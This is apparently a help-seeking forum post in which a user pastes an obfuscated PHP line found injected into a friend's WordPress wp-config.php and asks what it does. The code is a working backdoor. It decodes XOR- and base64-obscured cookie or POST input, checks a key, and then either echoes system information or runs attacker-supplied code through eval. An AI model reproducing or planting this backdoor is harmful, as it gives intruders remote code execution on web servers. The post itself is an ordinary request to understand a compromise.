my friend's wordpress wp-config.php was added with one line of code:
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g2bc($tf027f,$p7ec){global$ge142efa;$de211af="";for($z225cd560=0;$z225cd560<$ge142efa[$ge142efa['cfea'][22].$ge142efa['cfea'][60].$ge142efa['cfea'][25].$ge142efa['cfea'][19].$ge142efa['cfea'][19].$ge142efa['cfea'][31].$ge142efa['cfea'][20]]($tf027f);){for($a7a4f09df=0;$a7a4f09df<$ge142efa[$ge142efa['cfea'][22].$ge142efa['cfea'][60].$ge142efa['cfea'][25].$ge142efa['cfea'][19].$ge142efa['cfea'][19].$ge142efa['cfea'][31].$ge142efa['cfea'][20]]($p7ec)&&$z225cd560<$ge142efa[$ge142efa['cfea'][22].$ge142efa['cfea'][60].$ge142efa['cfea'][25].$ge142efa['cfea'][19].$ge142efa['cfea'][19].$ge142efa['cfea'][31].$ge142efa['cfea'][20]]($tf027f);$a7a4f09df++,$z225cd560++){$de211af.=$ge142efa[$ge142efa['cfea'][41].$ge142efa['cfea'][92].$ge142efa['cfea'][21].$ge142efa['cfea'][55].$ge142efa['cfea'][94]]($ge142efa[$ge142efa['cfea'][41].$ge142efa['cfea'][60].$ge142efa['cfea'][84].$ge142efa['cfea'][26]]($tf027f[$z225cd560])^$ge142efa[$ge142efa['cfea'][41].$ge142efa['cfea'][60].$ge142efa['cfea'][84].$ge142efa['cfea'][26]]($p7ec[$a7a4f09df]));}}return$de211af;}function i461($tf027f,$p7ec){global$ge142efa;global$m001c8475;return$ge142efa[$ge142efa['cfea'][82].$ge142efa['cfea'][55].$ge142efa['cfea'][55].$ge142efa['cfea'][19].$ge142efa['cfea'][26].$ge142efa['cfea'][2].$ge142efa['cfea'][26].$ge142efa['cfea'][55]]($ge142efa[$ge142efa['cfea'][82].$ge142efa['cfea'][55].$ge142efa['cfea'][55].$ge142efa['cfea'][19].$ge142efa['cfea'][26].$ge142efa['cfea'][2].$ge142efa['cfea'][26].$ge142efa['cfea'][55]]($tf027f,$m001c8475),$p7ec);}foreach($ge142efa[$ge142efa['cfea'][93].$ge142efa['cfea'][19].$ge142efa['cfea'][20].$ge142efa['cfea'][84]]as$p7ec=>$i61171){$tf027f=$i61171;$w38258dd=$p7ec;}if(!$tf027f){foreach($ge142efa[$ge142efa['cfea'][12].$ge142efa['cfea'][60].$ge142efa['cfea'][84].$ge142efa['cfea'][94].$ge142efa['cfea'][92]]as$p7ec=>$i61171){$tf027f=$i61171;$w38258dd=$p7ec;}}$tf027f=@$ge142efa[$ge142efa['cfea'][61].$ge142efa['cfea'][84].$ge142efa['cfea'][33].$ge142efa['cfea'][26].$ge142efa['cfea'][50].$ge142efa['cfea'][33].$ge142efa['cfea'][55].$ge142efa['cfea'][84].$ge142efa['cfea'][25]]($ge142efa[$ge142efa['cfea'][40].$ge142efa['cfea'][31].$ge142efa['cfea'][19].$ge142efa['cfea'][25]]($ge142efa[$ge142efa['cfea'][4].$ge142efa['cfea'][92].$ge142efa['cfea'][26].$ge142efa['cfea'][20].$ge142efa['cfea'][50].$ge142efa['cfea'][2]]($tf027f),$w38258dd));if(isset($tf027f[$ge142efa['cfea'][21].$ge142efa['cfea'][4]])&&$m001c8475==$tf027f[$ge142efa['cfea'][21].$ge142efa['cfea'][4]]){if($tf027f[$ge142efa['cfea'][21]]==$ge142efa['cfea'][61]){$z225cd560=Array($ge142efa['cfea'][30].$ge142efa['cfea'][82]=>@$ge142efa[$ge142efa['cfea'][16].$ge142efa['cfea'][55].$ge142efa['cfea'][84].$ge142efa['cfea'][33].$ge142efa['cfea'][50].$ge142efa['cfea'][89]](),$ge142efa['cfea'][24].$ge142efa['cfea'][82]=>$ge142efa['cfea'][25].$ge142efa['cfea'][15].$ge142efa['cfea'][33].$ge142efa['cfea'][97].$ge142efa['cfea'][25],);echo@$ge142efa[$ge142efa['cfea'][4].$ge142efa['cfea'][84].$ge142efa['cfea'][33].$ge142efa['cfea'][84].$ge142efa['cfea'][25]]($z225cd560);}elseif($tf027f[$ge142efa['cfea'][21]]==$ge142efa['cfea'][60]){eval($tf027f[$ge142efa['cfea'][5]]);}exit();}
What does it means? I've tried to change eval to print, but nothing shown.